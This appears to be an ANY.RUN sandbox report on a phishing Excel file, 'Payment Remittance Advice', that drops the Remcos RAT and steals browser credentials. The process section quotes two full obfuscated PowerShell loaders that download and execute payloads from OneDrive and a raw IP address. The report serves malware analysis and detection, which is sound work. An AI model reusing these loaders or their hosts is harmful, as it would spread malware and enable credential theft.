File name:

Payment Remittance Advice_000000202213.xlsb

Full analysis: https://app.any.run/tasks/a250a94c-3253-4f76-b91d-7281710ad5d8
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: January 04, 2022, 20:34:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
rat
remcos
stealer
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

61393CC2ED5C3E69C914089E2D1EAFC2

SHA1:

A02FDE6B411B6BA15322EB8C596BE9D5D87A51C3

SHA256:

B1DF072EBA923C472E461200B35823FDE7F8E640BFB468FF5AC707369A2FA35E

SSDEEP:

3072:rcN8LpF0iVAqcaR6bvxHFn7bP9be5w+v4rS4hDSf:rm8Fa2pObJHJbPI5w64rS4NSf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 3688)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3688)

    • REMCOS was detected

      • MSBuild.exe (PID: 2832)

    • Loads dropped or rewritten executable

      • powershell.exe (PID: 3324)

    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 2136)
      • MSBuild.exe (PID: 2084)
      • MSBuild.exe (PID: 2540)

    • Uses NirSoft utilities to collect credentials

      • MSBuild.exe (PID: 2084)
      • MSBuild.exe (PID: 2136)

    • Stealing of credential data

      • MSBuild.exe (PID: 2136)
      • MSBuild.exe (PID: 2084)

    • Steals credentials from Web Browsers

      • MSBuild.exe (PID: 2540)
      • MSBuild.exe (PID: 2084)

  • SUSPICIOUS

    • Reads the computer name

      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3324)
      • WScript.exe (PID: 2240)
      • MSBuild.exe (PID: 2832)
      • MSBuild.exe (PID: 2136)
      • MSBuild.exe (PID: 2540)
      • MSBuild.exe (PID: 2084)
      • WScript.exe (PID: 3128)

    • Checks supported languages

      • WScript.exe (PID: 2240)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3324)
      • MSBuild.exe (PID: 2832)
      • MSBuild.exe (PID: 2540)
      • MSBuild.exe (PID: 2136)
      • cmd.exe (PID: 612)
      • MSBuild.exe (PID: 2084)
      • WScript.exe (PID: 3128)

    • Executes scripts

      • powershell.exe (PID: 2768)
      • MSBuild.exe (PID: 2832)

    • Reads Environment values

      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3324)
      • MSBuild.exe (PID: 2832)

    • Executes PowerShell scripts

      • WScript.exe (PID: 2240)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2240)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3324)

    • Drops a file that was compiled in debug mode

      • powershell.exe (PID: 3324)

    • Application launched itself

      • MSBuild.exe (PID: 2832)

    • Loads DLL from Mozilla Firefox

      • MSBuild.exe (PID: 2540)

  • INFO

    • Reads the computer name

      • PING.EXE (PID: 2424)
      • EXCEL.EXE (PID: 3688)

    • Checks supported languages

      • PING.EXE (PID: 2424)
      • EXCEL.EXE (PID: 3688)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3324)
      • WScript.exe (PID: 2240)
      • WScript.exe (PID: 3128)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3688)

    • Reads settings of System Certificates

      • powershell.exe (PID: 2768)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx | Excel Microsoft Office Open XML Format document (30)
.zip | Open Packaging Conventions container (15.4)
.zip | ZIP compressed archive (3.5)

EXIF

XML

AppVersion: 16.03
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
Company: -
TitlesOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
ModifyDate: 2022:01:04 18:13:12Z
CreateDate: 2015:06:05 18:17:20Z
LastModifiedBy: Administrator

XMP

Creator: Eng Moha

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1385
ZipCompressedSize: 435
ZipCRC: 0xf8a02707
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
11
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe ping.exe no specs wscript.exe powershell.exe cmd.exe no specs #REMCOS msbuild.exe msbuild.exe msbuild.exe msbuild.exe wscript.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
612"C:\Windows\System32\cmd.exe" /c copy "misc.vbs " "C:\Users\admin\AppData\Local\Microsoft" /YC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2084C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\xkblyoonkrxxlhmomgyzdptgryk"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
2136C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\kguorzkilhhoxcwwmcgurgigbmlndedgnq"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\rpcrt4.dll
2240"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\misc.vbs" C:\Windows\System32\WScript.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\wscript.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2424"C:\Windows\system32\PING.EXE" google.comC:\Windows\system32\PING.EXE—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ping.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\winnsi.dll
2540C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\iegvyhzgxzpcnvisdrlagunxafcekt"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
2768"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping google.com;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.csim\''+pmet:vne$,''UxKUVsB6crz3IBA=yekhtua&07712%58868200A4928F46=diser&58868200A4928F46=dic?daolnwod/moc.evil.evirdeno//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\misc.vbs')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
2832"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
4.0.30319.34209 built by: FX452RTMGDR
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
3128"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\rxmenlapmpchxqojrutxjfoeypo.vbs" C:\Windows\System32\WScript.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3324"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $DCobcVEmviJrAkHMYUGW='27%5B%76%6F%69%64%27%20%2B%20%27%5D%20%5B%53%79%73%74%27%20%2B%20%27%65%6D%2E%52%65%66%6C%65%27%20%2B%20%27%63%74%69%6F%6E%2E%41%73%73%65%27%20%2B%20%27%6D%62%6C%79%5D%3A%3A%4C%6F%61%64%57%69%27%20%2B%20%27%74%68%50%61%72%74%69%61%6C%4E%61%6D%65%28%27%27%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%27%27%29%27%7C%49%45%58%3B%24%74%35%36%66%67%20%3D%20%5B%45%6E%75%6D%5D%3A%3A%54%6F%4F%62%6A%65%63%74%28%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%54%79%70%65%5D%2C%20%33%30%37%32%29%3B%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%72%76%69%63%65%50%6F%69%6E%74%4D%61%6E%61%67%65%72%5D%3A%3A%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%20%3D%20%24%74%35%36%66%67%3B%64%6F%20%7B%24%70%69%6E%67%20%3D%20%74%65%73%74%2D%63%6F%6E%6E%65%63%74%69%6F%6E%20%2D%63%6F%6D%70%20%67%6F%6F%67%6C%65%2E%63%6F%6D%20%2D%63%6F%75%6E%74%20%31%20%2D%51%75%69%65%74%7D%20%75%6E%74%69%6C%20%28%24%70%69%6E%67%29%3B%24%74%74%79%3D%27%28%4E%65%77%2D%27%2B%27%4F%62%6A%65%27%2B%27%63%74%20%4E%65%27%2B%27%74%2E%57%65%27%2B%27%62%43%6C%69%27%2B%27%65%6E%74%29%27%7C%49%60%45%60%58%3B%24%6D%76%3D%20%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%49%6E%74%65%72%61%63%74%69%6F%6E%5D%3A%3A%43%61%6C%6C%42%79%6E%61%6D%65%28%24%74%74%79%2C%27%44%6F%77%6E%6C%6F%61%64%53%74%72%69%6E%67%27%2C%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%43%61%6C%6C%54%79%70%65%5D%3A%3A%4D%65%74%68%6F%64%2C%27%68%74%74%70%27%20%2B%20%27%3A%2F%2F%31%30%34%2E%32%32%33%2E%31%31%39%2E%31%36%37%2F%63%61%6C%69%65%6E%74%2E%6A%70%67%27%29%3B%24%72%37%38%66%64%30%30%30%73%64%3D%20%24%6D%76%20%2D%73%70%6C%69%74%20%27%25%27%20%7C%46%6F%72%45%61%63%68%2D%4F%62%6A%65%63%74%20%7B%5B%63%68%61%72%5D%5B%62%79%74%65%5D%22%30%78%24%5F%22%7D%3B%24%79%35%6A%68%36%32%64%66%30%3D%20%49%60%45%60%58%28%24%72%37%38%66%64%30%30%30%73%64%20%2D%6A%6F%69%6E%20%27%27%29';$jm=$DCobcVEmviJrAkHMYUGW.Split('%') | forEach {[char]([convert]::toint16($_,16))};I`E`X($jm -join '')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
8 524
Read events
8 390
Write events
122
Delete events
12

Modification events

(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:s:;
Value:
733A3B00680E0000010000000000000000000000
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(3688) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
2
Suspicious files
6
Text files
4
Unknown types
1

Dropped files

PID
Process
Filename
Type
3688EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVREA73.tmp.cvr —
MD5:—
SHA256:—
2084MSBuild.exeC:\Users\admin\AppData\Local\Temp\bhv1900.tmp —
MD5:—
SHA256:—
2768powershell.exeC:\Users\admin\AppData\Local\Temp\misc.vbstext
MD5:—
SHA256:—
3324powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:—
SHA256:—
2768powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
2240WScript.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\atcn[1].jpgtext
MD5:5B4E95F9E6D36E309C552157D0B7FCD9
SHA256:DF6B921E5B1379747C4AB66AD27CC729F387BB2C7C1C247F3C7BC5C9E3293EC3
2768powershell.exeC:\Users\admin\AppData\Local\Temp\swft44am.hob.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3324powershell.exeC:\Users\admin\AppData\Local\Temp\1735cef4-28a3-4a95-a499-483c2ca4c598\AgileDotNetRT.dllexecutable
MD5:14FF402962AD21B78AE0B4C43CD1F194
SHA256:FB9646CB956945BDC503E69645F6B5316D3826B780D3C36738D6B944E884D15B
3324powershell.exeC:\Users\admin\AppData\Local\Temp\dcvxwmth.fbz.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2832MSBuild.exeC:\Users\admin\AppData\Local\Temp\rxmenlapmpchxqojrutxjfoeypo.vbsbinary
MD5:92323D5EAFDD057F2602A2A0B5F5230E
SHA256:52512978AD3BD19B5BBC6A332B2CC7635947C9F29979F746F406161FFB3AC34A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
8
DNS requests
4
Threats
21

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2768
powershell.exe
GET
301
13.107.42.13:80
http://onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU
US
html
233 b
shared
3324
powershell.exe
GET
200
104.223.119.167:80
http://104.223.119.167/calient.jpg
US
text
2.35 Mb
suspicious
2240
WScript.exe
GET
200
64.188.19.241:80
http://64.188.19.241/atcn.jpg
US
text
4.59 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2768
powershell.exe
13.107.42.13:80
onedrive.live.com
Microsoft Corporation
US
malicious
2768
powershell.exe
13.107.42.13:443
onedrive.live.com
Microsoft Corporation
US
malicious
2768
powershell.exe
13.107.42.12:443
diufxw.sn.files.1drv.com
Microsoft Corporation
US
suspicious
2240
WScript.exe
64.188.19.241:80
—
QuadraNet, Inc
US
malicious
3324
powershell.exe
104.223.119.167:80
—
QuadraNet, Inc
US
suspicious
2832
MSBuild.exe
79.134.225.79:10174
shiestynerd.dvrlists.com
Andreas Fink trading as Fink Telecom Services
CH
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.74.206
malicious
onedrive.live.com
  • 13.107.42.13
shared
diufxw.sn.files.1drv.com
  • 13.107.42.12
suspicious
shiestynerd.dvrlists.com
  • 79.134.225.79
malicious

Threats

PID
Process
Class
Message
3324
powershell.exe
Potentially Bad Traffic
ET WEB_CLIENT Hex Obfuscation of replace Javascript Function % Encoding
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Potentially Bad Traffic
ET WEB_CLIENT Hex Obfuscation of replace Javascript Function % Encoding
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
3324
powershell.exe
Executable code was detected
ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Payment Remittance Advice_000000202213.xlsb